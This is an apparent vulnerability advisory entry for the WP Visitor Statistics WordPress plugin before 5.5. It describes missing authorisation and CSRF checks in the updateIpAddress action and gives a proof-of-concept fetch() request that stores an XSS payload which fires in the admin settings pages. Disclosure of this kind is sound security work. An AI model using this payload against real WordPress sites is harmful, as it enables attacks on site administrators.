Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:05B9E478-2D3B-4460-88C1-7F81D3A68AC4
HistoryJan 31, 2022 - 12:00 a.m.

WP Visitor Statistics (Real Time Traffic) < 5.5 - Arbitrary IP Address Exclusion to Stored XSS

2022-01-3100:00:00
Krzysztof Zając
244
wordpress
visitor statistics
xss
ip address
vulnerability
admin

EPSS

0.001

Percentile

24.8%

The plugin does not have authorisation and CSRF checks in the updateIpAddress AJAX action, allowing any authenticated user to call it, or make a logged in user do it via a CSRF attack and add an arbitrary IP address to exclude. Furthermore, due to the lack of validation, sanitisation and escaping, users could set a malicious value and perform Cross-Site Scripting attacks against logged in admin

As any logged-in user:

fetch("http://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"updateIpAddress","ip":'" style=animation-name:rotation onanimationstart=alert(1) x'}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

Then (as admin) browse to https://example.com/wp-admin/admin.php?page=wsm_settings#ipexclusion or https://example.com/wp-admin/admin.php?page=wsm_ipexc

EPSS

0.001

Percentile

24.8%

Related for WPEX-ID:05B9E478-2D3B-4460-88C1-7F81D3A68AC4